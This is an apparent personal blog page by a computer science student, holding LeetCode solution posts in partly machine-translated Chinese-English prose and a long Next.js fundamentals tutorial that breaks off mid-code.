avatar
Siz Long

My name is Siz. I am a computer science graduate student specializing in backend development with Golang and Python, seeking opportunities in innovative tech projects. My personal website is me.longsizhuo.com .Connect with me on LinkedIn: https://www.linkedin.com/in/longsizhuo/.

  • Resume
  • Archives
  • Categories
  • Photos
  • Music



{{ date }}

{{ time }}

avatar
Siz Long

My name is Siz. I am a computer science graduate student specializing in backend development with Golang and Python, seeking opportunities in innovative tech projects. My personal website is me.longsizhuo.com .Connect with me on LinkedIn: https://www.linkedin.com/in/longsizhuo/.

  • 主页
  • Resume
  • Archives
  • Categories
  • Photos
  • Music

630.Class ScheduleIII

  2024-01-01
字数统计: 580字   |   阅读时长: 2min

topic:

img_1.png

topic链接

Thought:

思路来自于宫水三叶ofgreedy + Priority queue,

  1. first,We sort them according to the end of the course。The purpose of doing this is to try every course,See if it can adapt to our timetable。
  2. becausePythonofheapqThe default is a minimum pile,So when we join a course,我们使用其持续时间of负数,从而使得堆顶部始终是持续时间最长ofcourse。
  3. When you traverse each course,尝试把它加入到我们of日程中。but,如果我们发现加入该course后总时间超过了该courseof结束时间,那么我们需要从我们of日程中去掉一个course,最好去掉那个持续时间最长ofcourse,because这将释放出最多of时间,This is why use a maximum pile。
    sum += heapq.heappop(q)
  4. Java中ofArrays.sort(courses, (a,b)->a[1]-b[1]); Equivalent toPython中ofcourses.sort(key=lambda x: x[1])

The original text is quoted below,About why you usegreedy:

topic是要我们构造出一种可行of排列,排列中每个courseof实际结束时间满足「The latest time」Require,
求可行排序of最大长度(每个course对答案of贡献都是 1)。
This is easy to guide us「Generalized backpack」Think:simply put,For a certain item(course)For,Different costs under different conditions,
At the timeline `[1,courses[i][1]−courses[i][0]]` The item can be selected,The cost is its duration,
在比该范围大of数轴上无法被选,Cost is infinite。因此某一段特定of时间轴上,问题可抽象成有条件限制of组合优化问题。
Because the data range is 10^4,Generalized backpack做法需要记录of维度大于一维,Not be considered。
It's easy to think of「Two points」,Obviously the maximum selection quantity ans 为分割点of数组上具有「Secondary」:
1. The quantity is less than equal to ans ofcourse能够构造出合法排序(Consider making subtraction on the longest legal sequence);
2. Use the quantity greater than ans ofcourse无法构造出合法排列。
此时Two points范围为 `[0,n]`,The problem converts to:
How to `O(n)` Check whether it can construct a length len of合法排列(accomplish `check` method)。
常规of线性扫描做法无法确定是否存在某个长度of合法排列,因此Two pointsNot be considered。
We need to use「greedy」思维考虑可能of方案。

Code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import heapq
class Solution:
def scheduleCourse(self, courses: List[List[int]]) -> int:
courses.sort(key=lambda x: x[1])

# This will be a max-heap based on course duration
q = []
sum = 0
for c in courses:
d, e = c
sum += d
heapq.heappush(q, -d)
if sum > e:
sum += heapq.heappop(q)
return len(q)
  • Python
  • answer
  • greedy
  • Priority queue

show all >>

Sword finger Offer 68 - II. The recent public ancestor of the binary tree

  2024-01-01
字数统计: 387字   |   阅读时长: 2min

topic:

2023-03-13.png
Sword finger Offer 68 - II. The recent public ancestor of the binary tree.md

Thought:

Termination condition:

Dangyan leaves,Return directly null ;
when root equal p,qp, qp,q ,Return directly root ;

Recursive work:

Open the recursive Zuozi node,Return to value left ;
Open recursive right -child node,Return to value right ;

return value: according to left and right ,Can be expanded in four situations;
  1. when left and right At the same time as an empty :illustrate root Left / Nothing in the right tree is not included p,q,return null ;
  2. when left and right Not empty at the same time :illustrate p,q Be included in root of Heterochrome (Respectively Left / Right -handed tree),therefore root For the recent public ancestors,return root ;
  3. when left Is empty ,right 不Is empty :p,q Nothing root Left子树middle,直接return right 。Specific can be divided into two cases:
    1. p,q One of them is root of Right -handed tree middle,at this time right direction p(Assume p );
    2. p,q Both nodes are there root of Right -handed tree middle,at this timeof right direction Public ancestor node recently ;
  4. when left 不Is empty , right Is empty :Situation 3. Same;

Code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
class Solution:
def lowestCommonAncestor(self, root: 'TreeNode', p: 'TreeNode', q: 'TreeNode') -> 'TreeNode':
# If you find a number,But I didn't find another number,就直接illustrate他们不在同一个子树middle
if not root or root == p or root == q:
return root
# 递归Left子树
left = self.lowestCommonAncestor(root.left, p, q)
# 递归Right -handed tree
right = self.lowestCommonAncestor(root.right, p, q)
# 如果Left子树andRight -handed tree都不Is empty,illustratepandqRespectivelyLeftRight -handed treemiddle,那么when前节点就是他们of公共祖先
if left and right:
return root
# 如果Left子树Is empty,illustratepandq都在Right -handed treemiddle,那么Right -handed treeof公共祖先就是他们of公共祖先
if not left:
return right
# 如果Right -handed treeIs empty,illustratepandq都在Left子树middle,那么Left子树of公共祖先就是他们of公共祖先
if not right:
return left
  • Python
  • answer

show all >>

Sword finger Offer II 021. Delete the countdown of the linked list n Node

  2024-01-01
字数统计: 391字   |   阅读时长: 2min

topic:

2023-03-13 (2).png
Sword finger Offer II 021. Delete the countdown of the linked list n Node.md

Thought:

Double pointer(Sliding window algorithm)。
In this method,We first created a virtual head node dummy,And point it to the original head point head。
Then we use two pointers fast and slow,Will fast Poor movement move forward n step。
Next,We move at the same time fast and slow pointer,until fast pointer到达链表的末尾。
at this time,slow pointer指向倒数第 n+1 Node,我们Will其 next pointer指向 slow.next.next,So as to delete the countdown n Node。

at last,We return virtual head nodes next pointer,It points to delete the countdown n Node后的链表的Head node。

At the beginning, according toCLinked

Code:

Sliding window algorithm
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
class Solution:
def removeNthFromEnd(self, head: Optional[ListNode], n: int) -> Optional[ListNode]:
# Create a virtual head node
dummy = ListNode(0)
# Will虚拟Head node的 next Pointing to the original head point
dummy.next = head
# 定义快慢pointer,并Will快Poor movement move forward n step
fast = slow = dummy
for i in range(n):
fast = fast.next
# 同时移动快慢pointer,until快pointer到达链表末尾
while fast and fast.next:
fast = fast.next
slow = slow.next

# Will慢pointer的 next pointer指向慢pointer的下一Node的下一Node,So as to delete the countdown n Node
slow.next = slow.next.next
return dummy.next
Pure linked list
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
class Solution:
def removeNthFromEnd(self, head: Optional[ListNode], n: int) -> Optional[ListNode]:

# Calculation length
def get_list_length(head):
# If the linked list is empty,Length0
if not head:
return 0

# Links in traversal,Count
length = 0
current = head
while current:
length += 1
current = current.next

return length

# Find the deleted node
def delete(node, count):
if count == n + 1 or n == length:
node.next = node.next.next
return
if node.next:
delete(node.next, count - 1)

length = get_list_length(head)
delete(head, length)
return head


def list_to_linked_list(lst):
if not lst:
return None

# Head node
head = ListNode(lst[0])
current = head

# Elements in the list of traversal,Will其转换为链表节点
for i in range(1, len(lst)):
current.next = ListNode(lst[i])
current = current.next

return head
  • Python
  • answer

show all >>

2085. Public string that has occurred once

  2023-12-01
字数统计: 95字   |   阅读时长: 1min

topic:

screenshot2024-01-12 afternoon5.12.50.png

Thought:

First useCountercount,use & The symbol is connected to two dictionarieskeys, The remaining part is both。
Traversing this remaining part,Determine whether it is equal to 1 Be

Code:

1
2
3
4
5
6
7
8
9
10
class Solution:
def countWords(self, words1: List[str], words2: List[str]) -> int:
words_1 = Counter(words1)
words_2 = Counter(words2)
ans = 0
for i in words_1.keys() & words_2.keys():
if words_1[i] == 1 and words_2[i] == 1:
ans += 1
return ans

One -line writing
1
return sum(1 for i in Counter(words1) & Counter(words2) if Counter(words1)[i] == 1 and Counter(words2)[i] == 1)
  • Array
  • String
  • Hash table
  • count

show all >>

Next.js Fundamentals

  2023-06-18
字数统计: 4.8k字   |   阅读时长: 30min

Next.js Fundamentals

Next.js is a powerful React framework that provides features like server-side rendering, static site generation, API routes, and more. This guide covers the core concepts and features of Next.js that every frontend developer should understand.

What is Next.js?

Next.js is a production-ready framework built on top of React that adds features like:

  • Server-Side Rendering (SSR)
  • Static Site Generation (SSG)
  • Incremental Static Regeneration (ISR)
  • File-based routing
  • API Routes
  • Built-in CSS and Sass support
  • Code splitting and bundling
  • Image optimization
  • Internationalization

Getting Started with Next.js

Creating a New Project

1
2
3
4
5
6
7
8
9
10
11
# Create a new Next.js app
npx create-next-app my-next-app

# With TypeScript
npx create-next-app@latest --ts my-next-app

# Navigate to the project
cd my-next-app

# Run the development server
npm run dev

Project Structure

1
2
3
4
5
6
7
8
9
10
11
12
13
my-next-app/
├── .next/ # Build output (auto-generated)
├── node_modules/ # Dependencies
├── pages/ # Routes (each file is a route)
│ ├── api/ # API Routes
│ ├── _app.js # Custom App component
│ ├── _document.js # Custom Document component
│ └── index.js # Home page (/)
├── public/ # Static assets
├── styles/ # CSS or SCSS files
├── components/ # React components
├── next.config.js # Next.js configuration
└── package.json # Project dependencies

App Directory (Next.js 13+)

1
2
3
4
5
6
7
my-next-app/
├── app/ # App Router (Next.js 13+)
│ ├── layout.js # Root layout
│ ├── page.js # Home page
│ └── about/ # About page
│ └── page.js
└── ...

Routing

Next.js has a file-system based router where files and folders in the pages directory (or app directory in version 13+) automatically become routes.

Pages Router (Traditional)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// pages/index.js -> /
export default function Home() {
return <h1>Home Page</h1>;
}

// pages/about.js -> /about
export default function About() {
return <h1>About Page</h1>;
}

// pages/blog/index.js -> /blog
export default function Blog() {
return <h1>Blog Index</h1>;
}

// pages/blog/[slug].js -> /blog/:slug
export default function BlogPost({ slug }) {
return <h1>Blog Post: {slug}</h1>;
}

Dynamic Routes

1
2
3
4
5
6
7
8
9
// pages/posts/[id].js
import { useRouter } from 'next/router';

export default function Post() {
const router = useRouter();
const { id } = router.query;

return <h1>Post: {id}</h1>;
}

Nested Dynamic Routes

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// pages/posts/[category]/[slug].js
import { useRouter } from 'next/router';

export default function CategoryPost() {
const router = useRouter();
const { category, slug } = router.query;

return (
<div>
<h1>Category: {category}</h1>
<h2>Post: {slug}</h2>
</div>
);
}

Catch-All Routes

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// pages/docs/[...slug].js
import { useRouter } from 'next/router';

export default function Docs() {
const router = useRouter();
const { slug } = router.query;
// slug is an array: /docs/a/b/c -> ['a', 'b', 'c']

return (
<div>
<h1>Documentation</h1>
<p>Path: {slug?.join('/')}</p>
</div>
);
}

Optional Catch-All Routes

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// pages/[[...slug]].js
import { useRouter } from 'next/router';

export default function OptionalCatchAll() {
const router = useRouter();
const { slug } = router.query;
// / -> slug is undefined
// /a -> slug is ['a']
// /a/b/c -> slug is ['a', 'b', 'c']

return (
<div>
<h1>Optional Catch All</h1>
<p>Path: {slug?.join('/') || 'Home'}</p>
</div>
);
}

Navigation

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import Link from 'next/link';
import { useRouter } from 'next/router';

export default function Navigation() {
const router = useRouter();

return (
<nav>
{/* Declarative navigation */}
<Link href="/">Home</Link>
<Link href="/about">About</Link>

{/* With dynamic route */}
<Link href={`/posts/${postId}`}>Post Title</Link>

{/* With query parameters */}
<Link href={{
pathname: '/blog/[slug]',
query: { slug: 'hello-world' },
}}>
Blog Post
</Link>

{/* Imperative navigation */}
<button onClick={() => router.push('/contact')}>
Contact
</button>

{/* Go back */}
<button onClick={() => router.back()}>
Back
</button>
</nav>
);
}

Layouts

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
// components/Layout.js
export default function Layout({ children }) {
return (
<div className="layout">
<header>Header</header>
<main>{children}</main>
<footer>Footer</footer>
</div>
);
}

// pages/_app.js
import Layout from '../components/Layout';
import '../styles/globals.css';

function MyApp({ Component, pageProps }) {
return (
<Layout>
<Component {...pageProps} />
</Layout>
);
}

export default MyApp;

Data Fetching

Next.js provides several methods for fetching data, depending on your needs.

getStaticProps (Static Site Generation)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
// pages/posts/index.js
export default function Posts({ posts }) {
return (
<div>
<h1>Blog Posts</h1>
<ul>
{posts.map((post) => (
<li key={post.id}>{post.title}</li>
))}
</ul>
</div>
);
}

// This function runs at build time in production
export async function getStaticProps() {
const res = await fetch('https://jsonplaceholder.typicode.com/posts');
const posts = await res.json();

return {
props: {
posts, // Will be passed to the page component as props
},
// Re-generate at most once per 10 seconds
revalidate: 10, // Incremental Static Regeneration
};
}

getStaticPaths (for Dynamic Routes with SSG)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
// pages/posts/[id].js
export default function Post({ post }) {
return (
<div>
<h1>{post.title}</h1>
<p>{post.body}</p>
</div>
);
}

// This function gets called at build time
export async function getStaticPaths() {
const res = await fetch('https://jsonplaceholder.typicode.com/posts');
const posts = await res.json();

// Get the paths we want to pre-render based on posts
const paths = posts.slice(0, 10).map((post) => ({
params: { id: post.id.toString() },
}));

return {
paths,
fallback: 'blocking', // 'blocking', true, or false
};
}

// This also gets called at build time
export async function getStaticProps({ params }) {
const res = await fetch(`https://jsonplaceholder.typicode.com/posts/${params.id}`);
const post = await res.json();

return {
props: { post },
revalidate: 60, // Re-generate at most once per minute
};
}

getServerSideProps (Server-Side Rendering)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// pages/dashboard.js
export default function Dashboard({ data }) {
return (
<div>
<h1>Dashboard</h1>
<p>Current time: {data.time}</p>
</div>
);
}

// This gets called on every request
export async function getServerSideProps(context) {
// context contains request, response, query, etc.
const { req, res, query } = context;

// Fetch data from external API or database
const data = {
time: new Date().toISOString(),
user: query.user || 'Anonymous',
};

return {
props: { data }, // Will be passed to the page component as props
};
}

Incremental Static Regeneration (ISR)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
// pages/products/[id].js
export default function Product({ product, lastUpdated }) {
return (
<div>
<h1>{product.name}</h1>
<p>Price: ${product.price}</p>
<p>Last updated: {lastUpdated}</p>
</div>
);
}

export async function getStaticPaths() {
// Pre-render only popular products
const popularProducts = await fetchPopularProducts();

const paths = popularProducts.map((product) => ({
params: { id: product.id.toString() },
}));

return {
paths,
fallback: 'blocking', // Generate remaining pages on-demand
};
}

export async function getStaticProps({ params }) {
const product = await fetchProduct(params.id);

return {
props: {
product,
lastUpdated: new Date().toISOString(),
},
revalidate: 60, // Regenerate after 60 seconds
};
}

Client-Side Data Fetching

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
// pages/client-side.js
import { useState, useEffect } from 'react';

export default function ClientSide() {
const [data, setData] = useState(null);
const [isLoading, setIsLoading] = useState(true);

useEffect(() => {
async function fetchData() {
try {
const response = await fetch('/api/data');
const result = await response.json();
setData(result);
} catch (error) {
console.error('Error fetching data:', error);
} finally {
setIsLoading(false);
}
}

fetchData();
}, []);

if (isLoading) return <div>Loading...</div>;
if (!data) return <div>No data</div>;

return (
<div>
<h1>Client-side Data Fetching</h1>
<pre>{JSON.stringify(data, null, 2)}</pre>
</div>
);
}

SWR for Client-Side Data Fetching

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// pages/swr-example.js
import useSWR from 'swr';

// Fetcher function
const fetcher = (...args) => fetch(...args).then(res => res.json());

export default function SWRExample() {
const { data, error, isLoading } = useSWR('/api/user', fetcher, {
refreshInterval: 5000, // Poll every 5 seconds
});

if (error) return <div>Error loading data</div>;
if (isLoading) return <div>Loading...</div>;

return (
<div>
<h1>User Profile</h1>
<p>Name: {data.name}</p>
<p>Email: {data.email}</p>
</div>
);
}

API Routes

Next.js allows you to create API endpoints as serverless functions.

Basic API Route

1
2
3
4
// pages/api/hello.js
export default function handler(req, res) {
res.status(200).json({ name: 'John Doe' });
}

Dynamic API Routes

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// pages/api/users/[id].js
export default function handler(req, res) {
const { id } = req.query;
const { method } = req;

switch (method) {
case 'GET':
// Get user data from database
res.status(200).json({ id, name: `User ${id}` });
break;
case 'PUT':
// Update user in database
res.status(200).json({ id, name: req.body.name });
break;
case 'DELETE':
// Delete user from database
res.status(200).json({ id, deleted: true });
break;
default:
res.setHeader('Allow', ['GET', 'PUT', 'DELETE']);
res.status(405).end(`Method ${method} Not Allowed`);
}
}

API Route with Middleware

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// middleware/auth.js
export function withAuth(handler) {
return async (req, res) => {
// Check for auth token
const token = req.headers.authorization;

if (!token || !token.startsWith('Bearer ')) {
return res.status(401).json({ error: 'Unauthorized' });
}

// Verify token and get user
try {
const user = verifyToken(token.split(' ')[1]);
req.user = user;
return handler(req, res);
} catch (error) {
return res.status(401).json({ error: 'Invalid token' });
}
};
}

// pages/api/protected.js
import { withAuth } from '../../middleware/auth';

function handler(req, res) {
// req.user is available from the middleware
res.status(200).json({ message: `Hello ${req.user.name}` });
}

export default withAuth(handler);

Styling in Next.js

Next.js has built-in support for various styling approaches.

Global CSS

1
2
3
4
5
6
7
8
// pages/_app.js
import '../styles/globals.css';

function MyApp({ Component, pageProps }) {
return <Component {...pageProps} />;
}

export default MyApp;

CSS Modules

1
2
3
4
5
6
7
8
9
10
11
/* styles/Home.module.css */
.container {
max-width: 1200px;
margin: 0 auto;
padding: 20px;
}

.title {
color: #0070f3;
font-size: 3rem;
}
1
2
3
4
5
6
7
8
9
10
// pages/index.js
import styles from '../styles/Home.module.css';

export default function Home() {
return (
<div className={styles.container}>
<h1 className={styles.title}>Welcome to Next.js</h1>
</div>
);
}

Sass/SCSS

1
2
3
4
5
6
7
8
9
10
11
12
// styles/globals.scss
$primary-color: #0070f3;

.container {
max-width: 1200px;
margin: 0 auto;

.title {
color: $primary-color;
font-size: 3rem;
}
}

CSS-in-JS (Styled Components)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
// pages/_document.js
import Document, { Html, Head, Main, NextScript } from 'next/document';
import { ServerStyleSheet } from 'styled-components';

export default class MyDocument extends Document {
static async getInitialProps(ctx) {
const sheet = new ServerStyleSheet();
const originalRenderPage = ctx.renderPage;

try {
ctx.renderPage = () =>
originalRenderPage({
enhanceApp: (App) => (props) =>
sheet.collectStyles(<App {...props} />),
});

const initialProps = await Document.getInitialProps(ctx);
return {
...initialProps,
styles: (
<>
{initialProps.styles}
{sheet.getStyleElement()}
</>
),
};
} finally {
sheet.seal();
}
}
}

// components/StyledButton.js
import styled from 'styled-components';

const StyledButton = styled.button`
background-color: ${(props) => (props.primary ? '#0070f3' : 'white')};
color: ${(props) => (props.primary ? 'white' : '#0070f3')};
border: 1px solid #0070f3;
padding: 10px 20px;
border-radius: 4px;
cursor: pointer;
`;

export default StyledButton;

Tailwind CSS

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
// Install tailwind
// npm install -D tailwindcss postcss autoprefixer
// npx tailwindcss init -p

// tailwind.config.js
module.exports = {
content: [
'./pages/**/*.{js,ts,jsx,tsx}',
'./components/**/*.{js,ts,jsx,tsx}',
],
theme: {
extend: {},
},
plugins: [],
};

// styles/globals.css
@tailwind base;
@tailwind components;
@tailwind utilities;

// Usage in component
export default function TailwindExample() {
return (
<div className="max-w-7xl mx-auto px-4 sm:px-6 lg:px-8">
<h1 className="text-3xl font-bold text-blue-600">
Tailwind Example
</h1>
<button className="mt-4 py-2 px-4 bg-blue-500 text-white rounded hover:bg-blue-600">
Click me
</button>
</div>
);
}

Image Optimization

Next.js includes a built-in Image component with automatic optimization.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import Image from 'next/image';

export default function ImageExample() {
return (
<div>
<h1>Image Optimization Example</h1>

{/* Local images */}
<Image
src="/images/profile.jpg" // From public directory
alt="Profile Picture"
width={400}
height={300}
priority // Preload this image
/>

{/* Remote images */}
<Image
src="https://example.com/profile.jpg"
alt="Remote Profile Picture"
width={400}
height={300}
quality={80} // 0-100, default is 75
/>

{/* Fill container */}
<div style={{ position: 'relative', width: '100%', height: '300px' }}>
<Image
src="/images/hero.jpg"
alt="Hero Image"
fill
style={{ objectFit: 'cover' }}
/>
</div>

{/* Responsive sizes */}
<Image
src="/images/responsive.jpg"
alt="Responsive Image"
sizes="(max-width: 768px) 100vw, (max-width: 1200px) 50vw, 33vw"
fill
/>
</div>
);
}

Environment Variables

Next.js has built-in support for environment variables.

1
2
3
4
5
6
7
8
9
10
11
# .env (for all environments, not committed to git)
DATABASE_PASSWORD=supersecret

# .env.local (for all environments, not committed to git)
API_KEY=your-api-key

# .env.development (for development, can be committed)
NEXT_PUBLIC_API_URL=http://localhost:3000/api

# .env.production (for production, can be committed)
NEXT_PUBLIC_API_URL=https://myapp.com/api
1
2
3
4
5
6
7
8
9
10
11
12
13
// Accessing environment variables
console.log(process.env.API_KEY); // Server-side only
console.log(process.env.NEXT_PUBLIC_API_URL); // Available in browser

// In a component
export default function EnvExample() {
return (
<div>
<h1>Environment Variables</h1>
<p>API URL: {process.env.NEXT_PUBLIC_API_URL}</p>
</div>
);
}

SEO & Head Management

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import Head from 'next/head';

export default function SEOExample({ title, description }) {
return (
<>
<Head>
<title>{title}</title>
<meta name="description" content={description} />
<meta property="og:title" content={title} />
<meta property="og:description" content={description} />
<meta property="og:image" content="https://example.com/image.jpg" />
<meta name="twitter:card" content="summary_large_image" />
<link rel="canonical" href="https://example.com/page" />
</Head>

<main>
<h1>{title}</h1>
<p>{description}</p>
</main>
</>
);
}

SEOExample.defaultProps = {
title: 'Default Page Title',
description: 'Default page description for SEO',
};

Authentication

Next.js works well with various authentication solutions.

NextAuth.js Example

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
// pages/api/auth/[...nextauth].js
import NextAuth from 'next-auth';
import Providers from 'next-auth/providers';

export default NextAuth({
providers: [
Providers.Google({
clientId: process.env.GOOGLE_ID,
clientSecret: process.env.GOOGLE_SECRET,
}),
Providers.GitHub({
clientId: process.env.GITHUB_ID,
clientSecret: process.env.GITHUB_SECRET,
}),
Providers.Email({
server: process.env.EMAIL_SERVER,
from: process.env.EMAIL_FROM,
}),
],
database: process.env.DATABASE_URL,
session: {
jwt: true,
},
callbacks: {
async jwt(token, user, account, profile, isNewUser) {
// Add custom fields to token
if (user?.role) {
token.role = user.role;
}
return token;
},
async session(session, token) {
// Add custom fields to session
session.user.role = token.role;
return session;
},
},
});

// pages/_app.js
import { SessionProvider } from 'next-auth/react';

function MyApp({ Component, pageProps: { session, ...pageProps } }) {
return (
<SessionProvider session={session}>
<Component {...pageProps} />
</SessionProvider>
);
}

export default MyApp;

// components/Protected.js
import { useSession, signIn } from 'next-auth/react';

export default function Protected() {
const { data: session, status } = useSession();
const loading = status === 'loading';

if (loading) return <div>Loading...</div>;

if (!session) {
return (
<div>
<p>You must be signed in to view this page</p>
<button onClick={() => signIn()}>Sign in</button>
</div>
);
}

return (
<div>
<h1>Protected Page</h1>
<p>Welcome {session.user.name}</p>
</div>
);
}

Internationalization (i18n)

Next.js has built-in support for internationalized routing and content.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
// next.config.js
module.exports = {
i18n: {
// Locales you want to support
locales: ['en', 'fr', 'es'],
// Default locale
defaultLocale: 'en',
// Domain-specific locales
domains: [
{
domain: 'example.com',
defaultLocale: 'en',
},
{
domain: 'example.fr',
defaultLocale: 'fr',
},
{
domain: 'example.es',
defaultLocale: 'es',
},
],
},
};

// pages/index.js
import { useRouter } from 'next/router';
import Link from 'next/link';

const translations = {
en: {
title: 'Welcome',
description: 'This is my international website',
},
fr: {
title: 'Bienvenue',
description: 'Ceci est mon site web international',
},
es: {
title: 'Bienvenido',
description: 'Este es mi sitio web internacional',
},
};

export default function Home() {
const router = useRouter();
const { locale, locales, defaultLocale } = router;
const t = translations[locale];

return (
<div>
<h1>{t.title}</h1>
<p>{t.description}</p>

<div>
{locales.map((l) => (
<Link
key={l}
href={router.asPath}
locale={l}
legacyBehavior
>
<a style={{ marginRight: '10px' }}>
{l.toUpperCase()}
</a>
</Link>
))}
</div>
</div>
);
}

Advanced Features

Middleware (Next.js 12+)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
// middleware.js (at project root)
import { NextResponse } from 'next/server';

export function middleware(request) {
// Get pathname
const { pathname } = request.nextUrl;

// Redirect /blog to /posts
if (pathname === '/blog') {
return NextResponse.redirect(new URL('/posts', request.url));
}

// Check for authentication on /dashboard
if (pathname.startsWith('/dashboard')) {
const authCookie = request.cookies.get('auth');
if (!authCookie) {
// Redirect to login
return NextResponse.redirect(new URL('/login', request.url));
}
}

// Continue
return NextResponse.next();
}

// Only run middleware on specific paths
export const config = {
matcher: ['/dashboard/:path*', '/blog', '/api/:path*'],
};

Custom App

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
// pages/_app.js
import { useState, useEffect } from 'react';
import { Provider } from 'react-redux';
import { store } from '../store';
import Layout from '../components/Layout';
import '../styles/globals.css';

export default function MyApp({ Component, pageProps }) {
const [loading, setLoading] = useState(false);

// Use custom layout if provided by the page
const getLayout = Component.getLayout || ((page) => <Layout>{page}</Layout>);

// Track page loading
useEffect(() => {
const handleStart = () => setLoading(true);
const handleComplete = () => setLoading(false);

router.events.on('routeChangeStart', handleStart);
router.events.on('routeChangeComplete', handleComplete);
router.events.on('routeChangeError', handleComplete);

return () => {
router.events.off('routeChangeStart', handleStart);
router.events.off('routeChangeComplete', handleComplete);
router.events.off('routeChangeError', handleComplete);
};
}, []);

return (
<Provider store={store}>
{loading && <LoadingIndicator />}
{getLayout(<Component {...pageProps} />)}
</Provider>
);
}

Custom Document

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
// pages/_document.js
import Document, { Html, Head, Main, NextScript } from 'next/document';

class MyDocument extends Document {
static async getInitialProps(ctx) {
const initialProps = await Document.getInitialProps(ctx);
return { ...initialProps };
}

render() {
return (
<Html lang="en">
<Head>
<link
href="https://fonts.googleapis.com/css2?family=Inter&display=swap"
rel="stylesheet"
/>
<link rel="icon" href="/favicon.ico" />
</Head>
<body className="bg-gray-100">
<Main />
<NextScript />
</body>
</Html>
);
}
}

export default MyDocument;

Error Handling

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
// pages/404.js - Custom 404 page
export default function Custom404() {
return (
<div className="error-container">
<h1>404 - Page Not Found</h1>
<p>Sorry, we couldn't find the page you're looking for</p>
<Link href="/">Go back home</Link>
</div>
);
}

// pages/500.js - Custom 500 page
export default function Custom500() {
return (
<div className="error-container">
<h1>500 - Server Error</h1>
<p>Sorry, something went wrong on our end</p>
<Link href="/">Go back home</Link>
</div>
);
}

// pages/_error.js - Custom error page
function Error({ statusCode, err }) {
return (
<div className="error-container">
<h1>
{statusCode
? `An error ${statusCode} occurred on server`
: 'An error occurred on client'}
</h1>
{err && <p>{err.message}</p>}
<Link href="/">Go back home</Link>
</div>
);
}

Error.getInitialProps = ({ res, err }) => {
const statusCode = res ? res.statusCode : err ? err.statusCode : 404;
return { statusCode, err };
};

export default Error;

Next.js 13 App Router

Next.js 13 introduced a new App Router with new conventions and features.

App Directory Structure

1
2
3
4
5
6
7
8
9
10
11
12
app/
├── layout.js # Root layout (required)
├── page.js # Home page
├── about/
│ └── page.js # About page (/about)
├── blog/
│ ├── layout.js # Blog layout (applies to all blog routes)
│ ├── page.js # Blog index (/blog)
│ └── [slug]/
│ └── page.js # Blog post (/blog/:slug)
└── api/
└── route.js # API endpoint

Server Components (default)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// app/page.js
// This is a Server Component by default
async function HomePage() {
// Data fetching is simplified in Server Components
const data = await fetch('https://api.example.com/data').then(res => res.json());

return (
<div>
<h1>Home Page</h1>
<pre>{JSON.stringify(data, null, 2)}</pre>
</div>
);
}

export default HomePage;

Client Components

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// app/counter.js
'use client'; // This marks it as a Client Component

import { useState } from 'react';

export default function Counter() {
const [count, setCount] = useState(0);

return (
<div>
<p>Count: {count}</p>
<button onClick={() => setCount(count + 1)}>Increment</button>
</div>
);
}

Layouts

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// app/layout.js
export default function RootLayout({ children }) {
return (
<html lang="en">
<body>
<header>Site Header</header>
